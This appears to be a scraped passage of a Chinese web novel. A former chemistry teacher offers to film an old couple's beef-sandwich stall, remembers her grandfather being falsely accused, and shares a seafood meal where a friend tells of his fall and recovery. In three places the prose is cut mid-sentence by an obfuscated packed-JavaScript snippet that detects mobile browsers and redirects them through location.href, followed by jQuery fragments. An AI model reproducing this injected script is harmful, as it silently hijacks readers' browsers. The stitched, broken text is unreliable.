真是……用手指头都能想出来的缘由,两个孩子被老夫妇供养去了大城市,组建了自己的家庭,等到老人老了,飞不动了,想要退休了,才惊觉心心念念以为的“归巢”其实是“别人的家”。
陆辛的脸色已经沉了下来。
马爷爷叹了一声,又给新来的客人做了五个牛肉夹饼。
过了一会儿,他又开口了:
“小陆,你认不认识电视台的人呐?”说完,他自己就先否了,“我这记性啊,小陆你是外地来的,一年就在这儿过个暑假,哪能认识。”
摇摇头,他继续忙活儿去了。
陆辛问:“马爷爷,您找电视台的看什么?”
“我们这不是要退休了嘛,就想整个小片子自己看,去年评那个什么‘沽市十大小吃’,我们家没评上,没评上就算了,我就想着找人录个片儿我们自己看,做了几十年了,以后不做了,万一再想呢?”
客人渐渐多了,马爷爷顾不上跟陆辛说话了。
男人坐在沈小甜对面,略低着头,看着手里的牛肉夹饼,说话的声音又轻又沉:
“忙了一辈子,供了两个孩子,最后孩子指望不上,摊子也开不下去了,人也老了……就剩下了点儿手艺。”
摇摇头,陆辛叹了一口气。
“我觉得,我能帮上忙。”喝了一口小米稀饭,沈小甜擦了擦嘴角,开口说道。
“啊?”陆辛抬起头。
沈小甜的脸上露出了个笑容,是被他难得的呆给逗笑了:
“我是说,我会拍视频,我还能让不少人看见。”
14. 乱炖旧时光
为了证实自己的话,沈小甜打开手机戳了几下,让陆辛看着自己的手机屏幕。
“我之前是个老师,教化学的,化学很多实验,课上给学生看一遍,他们后来复习的时候也只能照着笔记看。我就弄了个账号,把做实验的视频传上去,他们想不起来了,就可以上网复习一下。”
ID叫“小甜老师”,陆辛看着那个有两万多粉的账号,读道:“小……甜儿老师”
四个字硬是被他读成了五个字。
“视频啊,要会拍,会剪,再配上字幕和旁白。”沈小甜数着手指头,笑眯眯的,“至于拍摄器械,手机已经够了。”
沈小甜的手机是去年冬天买的某个国产大牌新品,主打的就是拍摄功能。
“我还三脚架和手持的稳定器,不过得让我朋友给我寄过来……打光的话……”
沈小甜看着马爷爷,小铺子的光线不是很充足,不过现在是傍晚了,这个店铺的朝向还是偏东的。
“要是早上拍的话,说不定加个反光板就行,这个我也有。”
陆辛看着沈小甜细细数着各种器械和设备,嘴角勾了起来真是怎么都压不下去。
“就是不知道马爷爷愿不愿意让我拍。”
沈小甜歪了一下脑袋,看着陆辛,陆辛站了起来,直接去找马爷爷。
过了一会儿,马爷爷自己从做夹饼的台子后面出来了,他打量着沈小甜,猛地竖起了个大拇指:
“小姑娘,看不出来你有这么大的本事呢!”
自媒体社交的年代,只有这些不上网的老人会把拍视频这个事情看得很重要吧。
心里这么想着,沈小甜的脸上却是带着一点儿不好意思的笑。
“爷爷您别这么说,我的技术也就是业余水平,您要是不嫌弃,我明天让我朋友把东西都发过来,给您录视频。”
事情就这么定下了。
回去的路上,沈小甜比来的时候情绪要高很多,她一直不停地在想拍视频的事儿。
“给做饭拍视频”这件事儿,陆辛不懂拍,可他知道怎么做,于是他就成了沈小甜的“顾问”。
从打开锅拿肉时候水蒸气到做饼的步骤,陆辛努力想着,看着很像是……
在复习准备考试的可怜高中生。
“你说我要是想拍马爷爷看着杨奶奶做面饼的样子,是不是有点奇怪?”
沈小甜这么问他。
“不会。”陆辛从“酱汁颜色怎么显得更亮”的深渊里爬出来,认真思考了一下,然后回答:
“俩老人应该会挺喜欢的,马爷爷那时候说过,他年轻的时候就是个混混儿,不读书也不学手艺,要不是后来认识了杨奶奶,被压着上进,他早就饿死了。我刚认识他俩的时候,杨奶奶的耳朵还好着呢,干活又快又利索,天天压着马爷爷好好做生意、不准和人生气,马爷爷就嬉皮笑脸的,老两口几十年了,关系可好了,就是牛肉遇上了夹饼。”
沈小甜点点头。
出租车停在了石榴巷的巷子口,下车的时候,沈小甜看见有梧桐叶子从自己眼前落了下来。
“陆辛。”
她难得叫了一声男人的名字。
男人踩着落了地的叶子走过来。
“怎么了?”
“你说,马爷爷和杨奶奶要是一开始就知道他们的孩子后来会不愿意跟他们一起住,他们还会那么辛苦地忙碌大半辈子么?”
就像树叶,装点了这棵树的一个整个夏天,通过光合作用供养着树,在秋天,就被抛弃了。
“嗯……”陆辛说,“还是看人吧。”
沈小甜心口梗着一口气,外公当年出事的时候,她还很小,小到只记得妈妈和外公吵架,还有……还有就在这几棵梧桐下面,外公被人一把推倒,脑袋撞出了血。
纪念?
无耻!
“我认识一个朋友,从来都是好脾气。”陆辛的声音从沈小甜的背后传来,好像带着一种新鲜树木的气息,“我们刚认识的时候是在个西北小县城的火车站,有个人说自己钱丢了,想找他帮忙,其实那货就是个贼,趁着我朋友掏钱包的功夫,一把拽了他的包儿就跑,我朋友给拽得摔在地上,脸上好大一块儿都肿了。我就去追那个人,后来就和火车站的警察一块儿把那个家伙给摁了。”
陆辛拍了拍梧桐树的树干,对沈小甜说:
“我那时候年纪小,问过他一样的问题。”
【臭老头儿,要不是小爷我心肠好,你的钱早就没了!教你一个乖,瞎好心是没有好结果的。】
沈小甜回头,看见陆辛在笑。
“那你朋友怎么回答的?”
“呵……”陆辛笑了一声,“他说,他说,他今天被抢,是一件坏事儿,可我帮他抢回来,那又是一件好事儿,一好一坏,日子不错。”
沈小甜纤细的肩膀松了一下,像是吸了一口气。
“你朋友跟你一样啊,是个大好人。”
陆辛一只手插在了裤兜儿里,看着沈小甜去开门。
“其实马爷爷的事儿你也不用往心上去,他们老两口很喜欢做那口夹饼,不然心里都是厌烦了,哪还会心心念念找人拍个视频呢?他们俩肩上挑着个扁担,前头一边儿亏了点儿,另一边儿也还有点儿东西能压着呢。”
“嗯。”
看着陆辛推那辆摩托,沈小甜说:“谢谢你啊,大好人。”
陆辛看看她,摆摆手走了。
留下沈小甜和几棵梧桐树站在原地。
好人?好报?
她抬头看看彻底黑下来的天,冷冷地笑了一下。
一九八零年,她外公田亦清已经四十三岁,他从大西北回来,带着病弱的妻子和刚懂事的女儿,那时候的沽县第一中学有什么呀?三两个老师,一堆连书都不会看的学生,一处破旧的教舍。
他在大西北呆了十几年,一直在教书育人,因为做出了成绩,才被请了回来。
他刚回来两年,沽县一中就有十个人考上了名牌大学。
有那么一段时间,读中专比考上大学还值钱,尤其是师范中专,读完了出来就是有编制的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729331|189595||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
老师,砸不破的铁饭碗。
田亦清却不这么看,他说人应该追求更高层次的教育,因为那会让他们有更广大的视野,看见更多的东西。所以每年夏天,他都要一家一家去劝那些成绩好的孩子家长,让他们把孩子送到高中来,让他们读大学。
除了在一中当老师,他还要去师范中专上课,为的也是能鼓励那些读中专的学生不要放弃,将来就算工作了,也要继续想办法深造。
即使后来诸多不睦,田亦清是沈小甜见过的最好的人,他是他的外公。
一九九四年,沽县一中升格沽市第一中学,被评为省级重点高中。
一九九七年,一个没考上一中的家长在校长室里突然扒了衣服,说是校长田亦清给她脱的。
接着,有人写匿名信举报田亦清和女老师有不正当关系,一夜之间,大字报贴满了珠桥两边。
功勋校长的光环瞬间破碎。
那个扒衣服的妇女是沽市当地一个村儿的,村里的男丁拿着铁锹来砸他家的门,五十九岁的老人被推倒在树上磕破了脑袋。
田校长被迫辞职,成了“田流氓”,隔三差五就要被调查审问,要不是已经房改,房子成了私产,他怕是连住的地方都没了。
受不了别人的流言蜚语,又不能报复回去,再加上婚姻破裂,他女儿田心离开了沽市去了广东,只留了沈小甜哭闹着不肯离开外公,就被留了下来。
“那段时间,他的那些学生没有一个人帮他,一个都没有,有一个当时正在省教育厅工作,不光一句好话没替他说,还对调查组说他跋扈专断,还说他和女学生也不清不楚……这就是他捧了一颗心出去换来的。”
沈小甜永远都忘不了她妈对自己说这些时候的表情。
虽然她在听了这些之后,依然选择去当个老师。
一九九八年,原来二轻附中的校长因为经济问题被抓,交代出他为了一中校长的位置设计陷害田亦清的事实,这才还了他一个清白。
这时候,田亦清已经六十一岁了,市里恢复了他的名誉,恢复了他的退休待遇,有人看着他想起来叫他田老师、田校长了,他又被返聘回了一中教学,一切好像都没发生过。
所以在二十一年后的今天,那些学生还会找上门,说要以他的名义建个学校。
“凭什么要假装一切都没发生?他们有什么资格用我姥爷的名义去给自己脸上贴金?!”沈小甜质问那棵比自己还老的梧桐。
然后踢了它一脚。
幸好是穿了运动鞋,要还是那双十五块钱的深度山寨小拖鞋,那就是她自虐了。
可脚还是疼,她生着气,一瘸一拐地往家里走。
手机突然响了,是陆辛发来了消息。
课代表:“忘了跟你说,明天我们去吃海鲜,你上午十一点等我去接你。”
哦对了,明天是有吃着海鲜听故事的一顿。
沈小甜站在在家门口回他:“好呀。”
又打电话给米然,她答应了要帮马爷爷拍视频,那些器械就发顺丰吧,到付。
15. 白灼“龟足”
“小辛呐,你知道概率学么?”
虽然身高很可观,属于少年的肩膀还是清瘦的,上面顶着的脑袋更是稚嫩到傻,尽管剃着圆寸戴着耳钉,也不像个混社会的,更像是个呆呆的鸡雏崽子。
“哼。”他不说自己不知道,镶钻的耳钉在不甚明亮的光线中,闪烁着倔强的微光。
“概率学研究的是随机事件,就是有些事情可能发生,有些事情可能不发生。比如我今天遇到了一个坏人,我也可能遇到一个好人。”
“我说老爷子你脑袋别晃,擦药呢,小心都给你抹嘴里。”
陆辛拿着从警察那儿借来的碘酒和棉签,在那张老脸上涂涂抹抹。
“所以说,一个人只要去做一件好事,那么别人遇到好事的概率就会更高,这个你明白吧?”
“别跟我逼逼了,唐僧都没你能唠叨。”
“而且,好事它是能传染的,你遇到了一个好人,遇到了一件好事儿,你觉得不错,那你可能也去做个好事儿,对不对?那这样,你做一件好事就变成了很多的好事,在概率学上来说,只要这个数字积累,那么整个的概率将大大增长。”
陆辛后退了一步,满意地看着自己在老人脸上用碘酒画的唐僧。
“你看,你今天帮我抢包回来,做了一件好事儿,我这一天就成了挺好的一天,对不对?人呐,多做好事儿总没错的。”
“知道啦知道啦!老唐僧!”
……
躺在床上的陆辛睁开了眼睛,他是被闹钟吵醒的。
起床,他打了个电话:
“老冯,到地儿了没?查一查,东西都备好了么?”
电话那头的老冯说:“陆哥,东西都差不多了,您昨天在我这煨的佛跳墙您看我什么时候提钱老板这来呀?”
“下午五点吧,不是说六点开始么,五点来了放在灶上用底火再焖着,快开宴了就开始分,钱老板说要一上来就要显摆显摆,咱们就随他的意呗。”
“行,陆哥!那您看您什么时候过来给我们镇场子呀啊?钱老板公司的秘书问了我好几遍了,嘿嘿嘿……”
“我……下午三……四点吧,你带着你徒弟把料都备好了,上次的那个虾线都没去净,逼着又给虾开了背,这次你把你徒弟看牢点儿,可别再出岔子了。”
事情在电话里一样一样交代得七七八八,陆辛突然转了个弯儿说:
“老冯,你家的车有没有在沽市这儿空着的,我去开一辆。”
“陆哥,您要用车啊,您早说啊,我早上给您送过去,您抬腿儿就能用了,现在的话,我那儿还有辆霸道儿,您不用操心了,十五分钟,我让留家里的刚子给你把车送过去。”
中午十一点,沈小甜站在石榴巷门口,看见一辆挺大的车“吱——”地停在了她身前。
男人帅气地从车上跳下来,开口说:
“开这么个玩意儿去柜子那吃海鲜,柜子能酸死我,唉。”
一句话,就让沈小甜对那个“柜子”好奇了起来。
陆辛给沈小甜打开了后座的车门。
“你能上去吧?”
沈小甜皱了一下眉头:“你总是俯视我,是不是觉得我特别矮?”
陆辛:“不是,是我骑摩托久了,看这车总觉得它太高。”
沈小甜坐上车的时候是笑着的。
“快递已经寄出来了。”她没忘了跟自己的“课代表”兼“顾问”汇报一下进度。
陆辛开着车说:“我带你吃个饭结果给你找了个麻烦事儿,难为你还这么上心,一会儿我掐着柜子脖子让他给你加菜。”
车子一路往东南方向走,不一会儿就出了城。
路上的人比想象中多,陆辛想一脚油门踩下去都没有机会。
“哎呀,今天是周末,我说怎么这么多人呢。”趁着红绿灯的功夫,陆辛研究了一下车上音响,挑了首歌开始放。
“这车是我一个朋友他儿子常开的,啧,九五后。”陆辛话音刚落,音响里电吉他声就已经响了起来。
“勇敢的你,站在这里,脸庞清瘦却骄傲……”*
主唱的声音里鼻音略重,吐字儿都犯着懒,在音乐到达高潮的部分却成了根手指头,一下一下往人心里戳,听得人只觉得心里颤了两下,头皮已经麻了。
一曲终了,陆辛长出一口气,说:
“还挺好听哈。”
是很好听,沈小甜点头。
“霸道”里安安静静的,只有歌声又响了起来。
两个人就这么听了半个多小时的歌儿,在快要十二点的时候到了一个叫“二猫海鲜”的地方。
沽市没有海,离海却不远,开到这里已经临市的地界儿,这家店开在老国道边儿上,再往里开五分钟就是一个靠近渔村的海鲜大市场,周围几个市的不少饭店就来这里进货,因为东西新鲜又便宜,也有些爱吃的当地人赶着来买海鲜回家吃。
这些都是陆辛告诉沈小甜的。
“现在是休渔季,冷清了一点儿,平常早上四五点的时候,这边儿就全是进货的人了,车能塞到一里外。”
停好了车子进去,陆辛让着沈小甜往里走。
“二猫海鲜”是个三层小楼,一楼整整齐齐摆着大水箱,水箱下面是活鱼,上面浮着塑料筐,是些鲜活的贝类。
另一边儿摆着的是不锈钢台子,台子上几排塑料盒,注氧机往里面“呜呜呜”地打着气,鲜虾活蟹在里面张牙舞爪,还有蛤蜊有恃无恐地喷着水。
这样的地方,地面是不可能干着的,沈小甜避过一条横行霸道的水管,抬起头,看见了一个男人迎着他们走了过来,半长头发,单眼皮儿,鼻子略大,卡其色短裤下面穿了双塑料拖鞋,红色T恤印着“我不是国足”。
“陆辛呐,你怎么这么大的脸面,让我辛辛苦苦给你找好货,你自己带着个漂亮妹妹开着个霸道儿就来了,你挺霸道呀。”
果然,陆辛没说错,这个被人叫“柜子”的男人一开口就酸他。
陆辛走过去,作势要拍他肩膀,结果一抬手臂,用胳膊肘撞了他一下。
“不是说弄了好东西么?鱼呢?”
“没有鱼。”柜子笑呵呵地一拳打在陆辛的手臂上——跟一米八五以上的陆辛比,他矮上一截,想打肩膀的,人家一拦就是手臂了。
“我给你了弄了点龟足,一个小时前刚送来,金竹酒店那帮子看见了,跟我说了半天,我一两都不给他们。”柜子的语气得意洋洋。
沈小甜的注意力被捞章鱼的工作人员吸引了,趴在玻璃水箱上的章鱼触手伸展不肯松开吸盘,像是在演琼瑶剧的男主角。
“美女你好,我叫柜子,保鲜柜的柜子,我家的海产啊,没别的,就是保鲜!”
“你好,我叫沈小甜。”
“这名字真好,跟……”柜子是个舌头一卷两万里的啰嗦鬼,陆辛揽住了他脖子,让他带着上楼吃海鲜去。
一楼像个水产超市,二楼却是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729332|189595||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
摆放整齐的木头桌椅,原来柜子的这家“二猫海鲜”是个海鲜排挡,在一楼挑了海鲜可以直接交给后厨,坐在二楼等着就能吃做好的了,也就是额外花点儿加工费。
“我是真服了,在我这儿你不哈啤酒吃蛤蜊,你非让我给你弄别的,陆辛,也就是你,换个人儿我一巴掌把他呼一边儿去了我告诉你。”
当地的“蛤蜊”两个字有特殊的发音,柜子说话的时候就自带了蛤蜊的鲜甜味儿。
在靠窗的位置坐下,遥遥地能看见一片渔村,其实是一片红瓦白房,柜子不说,沈小甜都想不到那是渔村。
柜子和陆辛在一起,就是两个不同地域臭贫的巅峰对决,一边是儿化音,一边儿是蛤蜊味儿,沈小甜听着都暗暗想谁能先把谁给带歪了。
短短几分钟后,一个大盘子被端了上来,灰绿带褐的颜色,好像一片一片鳞拼凑起来的,其中一头儿上聚拢了很多的白色“指甲”,就算上面摆着姜片儿都没盖住某种怪异感。
“这不是真的乌龟的脚,这玩意儿是长在石头和船底的,老外爱吃这个。”陆辛给沈小甜做介绍。
“福建那边儿这玩意儿多点,不过柜子弄得这个真挺大的。”
柜子的脸上露出了挺憨厚可爱的笑,就是嘴里的损劲儿还坚持不肯下去:
“我是谁啊,我特意弄的东西能差了么?”
陆辛没理他的嘚瑟,开始示范怎么吃这个“龟足”。
捏着两边往外一扯,长颈的那一段儿被扒了外层,露出了白莹莹的肉,鲜美的汁水藏不住了,沿着手指往下流。
龟足的近亲鹅颈藤壶在欧洲价格高昂,被称为“来自地狱的美味”,正是因为诡异外表下面蕴藏的绝世鲜美味道。
沈小甜小心捏着那一点细腻柔软的肉,放进了嘴里,瞬间就感觉到鲜甜的味道冲刷着自己的舌头。
七大罪宗里有暴食与贪婪,当舌尖与龟足的肉相触,它们便缠绕在了人的心上——简单来说,就是不到五分钟,一大盘“龟足”就已经被三个人吃的一干二净,陆辛和柜子都不吭声了,舌头忙着呢,顾不上。
这时,第二个大盘子才端上来,是白灼的基围虾。
当地吃海鲜少不了蘸料,“二猫海鲜”家少吃龟足,只当是贝类,还给上了碟姜醋,自然是无人问津,基围虾就是给配了酱油汁儿,还放了葱花香菜和小米辣。
“甜,是真甜啊!”
掐着虾头,柜子还在回味刚刚的龟足,他把刚刚扒下来的虾头往陆辛的面前一送,问他:
“你说,这玩意儿咋那么甜呢?”
陆辛没说话,他只是默默抬了一下眼睛。
“因为氨基酸浓度高啊。”沈小甜剥着虾壳,不紧不慢地说。
“分子运动会平衡浓度,也就是说水分子会向液体浓度高的地方移动,到了海里也异样,所以,海水中的生物为了不会失水死亡,体内就会维持一个较高的液体浓度,维持的方式就是囤积大量的氨基酸。氨基酸里有一种叫甘氨酸,吃起来就是甜的。”
柜子举着的虾头就一直没放下,他一脸茫然地看着陆辛。
陆辛只是对他微笑,问:“听懂了么?听了你也不懂,那你可就白问了。”
沈小甜开始吃第二只虾,虾肉也是甜的,嗯,令人愉悦的甘氨酸。
柜子悻悻地放下手里的虾头,坐姿一下就正经了很多。
“我化学但凡及格过,我家老爹就不会把我赶去南方让我当鱼贩子了。”
16. 葱拌海螺
“甘氨酸”一出马,柜子诡异地安静了,拿筷子的胳膊都不是随便放了。
“吃个饭我怎么就上了课堂了呢?”他还在怀疑人生
陆辛说:“小甜儿老师一出手,你上学的时候啥德行是一下子就露底了。”
柜子的笑容都变得腼腆起来:“小时候是没好好学,再说了,我小时候老师也不在餐桌上突然讲课呀。”
葱拌海螺带着原壳就端上来了,螺肉处理得极干净,焯水后和和葱丝儿拌在一起,略加了点酱油味道就够了。
螺肉是脆的,鲜香微甜都被葱味儿提了出来,让人一口接一口地吃根本停不下来。
又上来了一道蒜蓉粉丝蒸扇贝,一道清蒸加吉鱼,每个人面前又摆了个大碟,中间放了一点儿米饭,碟头放着两个鲍鱼,用肉末浓汁煨透了。
真真正正的海鲜大餐,从前菜到饭都没离了海里的那份鲜活。
沈小甜看着就觉得不知道该先吃哪一口才好,陆辛却嗤笑了一声,斜眼儿看着柜子。
“你家的扇贝还拿蒜蓉粉丝蒸啊,还有这个鲍鱼,菜市场里十几块钱一把的东西,你这儿做的还挺精细。”
所谓行家一出手就知有没有,小鲍鱼和扇贝在盛行水产养殖的当地都不是贵重的东西,陆辛一看这做法就知道了柜子生意里的猫腻儿。
柜子也很光棍儿,摊手说:“对呀,我就是为了抬价么,不然白水一煮,那才几个钱?再说了,蒜蓉粉丝、肉末鲍鱼饭,外地来的还真爱死了这口儿。”
陆辛对沈小甜说:“他们做海产生意的,都是往死里抠利润。他爸从前是有名的海产商人,一开始是卖鱼,后来开了个厂子全中国地卖烤鱼片,还跟日本人、韩国人做生意,到他了,从前就是南北两边的海鲜倒腾着卖,现在干脆就弄了几十条船出海,自己在店里卖,多余的就卖出去。”
“嘿!你这可就说错了,我可不是几十条船了。”柜子又得意了起来,往窗外的渔村一指:
“一百五十条船。”
陆辛是真的惊讶了一下,拍了一下他的肩膀:“行啊,你小子今年牛了呀。”
“那~是~现在线上线下我都卖,只要黄海里能捞出来的,没有我不卖的。”
在广东的时候,沈小甜是极少能看见这么张牙舞爪的人的,广东人最有名的除了爱吃福建人之外,就是低调地有钱,他们的事业在言谈中往往讳莫如深,透着心照不宣的各留后招,哪怕他只是个再普通不过的白领,你也不知道他手里是不是有几十套房在收租。
柜子这个人却正好相反,他能让人感觉到他的事业在上升,并且为此快乐又骄傲。
沈小甜觉得他确实跟陆辛说的一样——是个会讲故事的有趣的人。
“陆辛就会捡好听的说,我那个老爹是一开始倒腾水产,后来开厂子挣了点儿,结果呢,傻乎乎地去投了什么景区的农家乐,那钱跟填窟窿一样地往里砸,穷得比富起来的时候快多了,我那时候去广东,一开始说是学着倒腾海鲜做生意,结果我找了些狐朋狗友光玩儿去了,广东多好玩儿……咳。”
看了一眼沈小甜的笑容,柜子大概又想起了被化学支配的恐惧,声音戛然而止。
吃了一口米饭,又喝了口水,再开口,他语气稳当了许多许多。
“我那时候想得可简单了。学习不好?无所谓,我爹有钱!不会赚钱?无所谓,我爹赚的钱我一辈子花不完!结果一回家,我爹破产了。”
“个死老头儿穷得叮当响了,我在广东说我要做生意要二十万块钱,他也给我了,借着给我的,那是2011年,我把我爹从骨头里榨出来的钱都扔酒桌上了。”
蒸好的加吉鱼依然是粉色的,肉一瓣儿一瓣儿,入嘴就是鲜嫩两个字儿,尤其是蘸着一边儿的汤,然后配上一点饭。
沈小甜慢慢吃着,看着柜子在裤兜儿摸索了一下,拿出了一包烟,却没抽,只是拍在了桌边上。
“回家看见我爹头发全白了,我都傻了,我说我一分钱都没带回来,他也没生气,他是没劲儿跟我生气了,上医院查出来肝癌早期。”
“我没办法,我妈就是个护士,当了那么多年阔太太,为了赚钱给我老爹治病,下了大夜班还得去人家里给那些半身不遂的端屎端尿……很多人有钱了,以前的傻事儿就不提了,我不一样,我得让自己别忘了,我得告诉自己,你就是个啥也不知道的傻子,现在挣钱了,也不是一辈子都有钱。”
柜子看向陆辛:“我想喝酒,你说你开个霸道儿来干什么?都不能陪我喝酒!”
“我陪你喝。”沈小甜说。
柜子愣了一下,然后笑了:“好嘞!”
陆辛只在旁边笑。
啤酒还是喝的扎啤,清透的酒味混着海鲜,确实让人有瘾。
喝了两口酒,柜子说:“小甜老师儿,我就这么叫你了啊,你猜我这儿为什么叫‘二猫海鲜’?那时候,我实在是没路走了,跟我高中同学借了两千块钱,就在这儿倒腾海鲜,渔村里面一个小房间,除了床什么都没有,一个月二百块钱我住里头。
“结果我这个人就是欠,第一个月,我刚赚了点儿就又去嘚瑟,结果就把生意耽误了,那些客人可不管你是谁,说是四点来拿货,那就一分钟都不能晚,我一觉醒了,客人全让别人拐跑了。渔民收了我的订金,我没去拿货,人家也不退,我一下子就赔了一大半儿。那时候,我住的那个地方外面总有两只小猫儿,我挑出来的臭鱼烂虾,我就喂它们吃。
“第三个月的时候,我生意更差了,交了一笔订金,连饭钱都没有了,两天,我就喝水填肚子,还得到处找客商把我定的货倒出去,第三天早上,我眼睛都看不清了,模模糊糊地,我寻思着,实在不行,我就找个大船,从上面跳下去,最好一命交代了,大船老板倒了霉赔点儿钱,也算是我换了我爹妈了。结果,你猜怎么着?我一出门,俩小猫儿给我叼来了一条鱼。”
沈小甜吃着蒜蓉粉丝,筷子停在了嘴边儿。
“我把鱼煮了,吃了,就靠两只猫给续了命。第五天,我下了订金的那条船回来了,大丰收,船上沉沉的全是鱼,最厉害的是什么,那个船一回来,台风也来了,其他船不少都是空着进港了,客商急着囤货,鱼价蹭就上去了,我一下子就翻本了。”
他喝干了杯子里的酒,笑着对聚精会神听故事的沈小甜说:
“后来我就把两只猫养起来了,狐朋狗友彻底断了,喝酒呢,也就是在自己的一亩三分地儿喝一杯啤酒,再也不敢误事儿了。怎么样,小甜老师儿,是不是觉得吃鱼更鲜了?”
“是。”沈小甜点头。
柜子突然笑着说:“说你们,你们就来了。”
沈小甜顺着他的视线往外看去,正好对上了一双异色的眼眸。
黑白花的猫眼睛
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729333|189595||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一蓝一黄,左眼上有一道疤,神态十足的威严,黑色的尾巴从白色的屁股上伸出来,轻轻拍打在窗玻璃上。一只瘦很多的小狸花猫跟在后面,步伐轻盈地走在窗台上。
“你们两个是不是又把纱窗挠开出来的?窦英雄你就带着窦小花儿闹吧!上次跟野猫打架伤好了你就不知道疼了。”
两只猫隔着玻璃不在乎柜子的数落。
柜子走到窗边,手里拿着两只基围虾,笑容也变得温柔起来。
沈小甜走的时候,柜子怀里抱着叫“窦小花儿”的狸花猫,那只金银眼还雪里拖枪的“窦英雄”跟在他后面,一人两猫一起送他。
“陆辛,你是不是快走了?”告别的时候,柜子突然问道。
陆辛说:“是,今天忙完了钱老板的活儿,我就没什么事儿了。”
柜子点点头:“那你有空再来一趟,带着小甜老师儿一起来。”
窦小花儿抓着他的衣领往下来,拽着男人给陆辛鞠了半个躬,他也顾不上再说什么,只能对着沈小甜点头:
“小甜老师儿你什么想吃海鲜就过来。”
“嗯,谢谢你。”
沈小甜还跟两只猫咪分别告别。
“窦小花”还在跟柜子的领口搏斗。
“窦英雄”眯了眯眼睛,甩了一下尾巴,很是敷衍。
车上,沈小甜觉得自己还有一半的魂儿留在了柜子讲的故事里。
“海鲜需要积攒氨基酸提升液体浓度跟海水对抗,人也一样。”她小声念叨着,打了个小嗝儿,自觉都是海味儿的。
“什么?”陆辛透过后视镜看了沈小甜一眼。
年轻女人的脸上是浅浅的笑,她的眼睛看向车顶,捂着嘴轻声说:
“我是说你像连着羧基氨基的碳原子。”
陆辛微微皱着眉头,把沈小甜送回家,他得立刻往钱老板那赶了。
“什么?”沈小甜说的他还是没听清。
“我说,谢谢你,大好人。”
陆辛笑着说:“我也得谢谢你,好心的小甜儿老师。”
“柜子人是真挺不容易的,他刚赚了点钱,就得给他爹买药,倒卖海鲜的买卖也是看天吃饭的,他辛苦了四五年,才勉强有了点儿根基。我认识他是在15年的时候,一个姓李的银行行长女儿结婚,男女双方两边儿都要办,加起来一百多桌,他找上门儿,想把里面的海鲜给包了。那时候他比现在瘦,还黑,跟个出海打渔的没什么两样。”
从败家子到靠猫养了一口的落魄人,再到现在有上百渔船、一家大排档的老板,柜子的人生起伏之大,真的让沈小甜叹为观止。
“真厉害啊。”她真情实意地赞叹。
到家了,沈小甜从车上下来,关上车门,她突然问陆辛:
“我现在看起来还像是要自杀么?”
男人一冷,继而有些无可奈何地笑了:
“我当时真的是……我也不知道自己怎么就想到那儿去了。”
“不像了是吧?”沈小甜眨了眨眼睛,“谢谢你呀,大好人,明天器械应该就到了,后天有时间就去马爷爷那儿吧。”
“好。”
陆辛下着车窗,对着沈小甜摆摆手,踩了油门儿走了。
“拍完视频,我也该走了。”打开院子的门,女孩儿看看一直停摩托车的地方自言自语。
笑了笑,然后摇摇头。